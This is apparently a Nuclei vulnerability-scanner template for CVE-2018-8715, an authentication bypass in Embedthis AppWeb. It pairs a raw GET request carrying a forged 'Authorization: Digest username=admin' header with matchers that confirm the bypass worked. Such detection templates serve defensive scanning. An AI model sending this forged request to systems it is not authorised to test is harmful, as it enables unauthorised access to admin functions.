nuclei-templates/cves/2018/CVE-2018-8715.yaml

34 lines
968 B
YAML
Raw Normal View History

id: CVE-2018-8715
info:
name: AppWeb Authentication Bypass vulnerability
author: milo2012
severity: high
description: The Embedthis HTTP library, and Appweb versions before 7.0.3, have a logic flaw related to the authCondition function in http/httpLib.c. With a forged HTTP request, it is possible to bypass authentication for the form and digest login types.
2021-06-30 10:04:58 +00:00
tags: cve,cve2018,appweb,auth-bypass
reference:
- https://github.com/embedthis/appweb/issues/610
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.10
cve-id: CVE-2018-8715
cwe-id: CWE-287
requests:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
Authorization: Digest username=admin
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- '<a class="logo" href="https://embedthis.com/">&nbsp;</a>'
part: body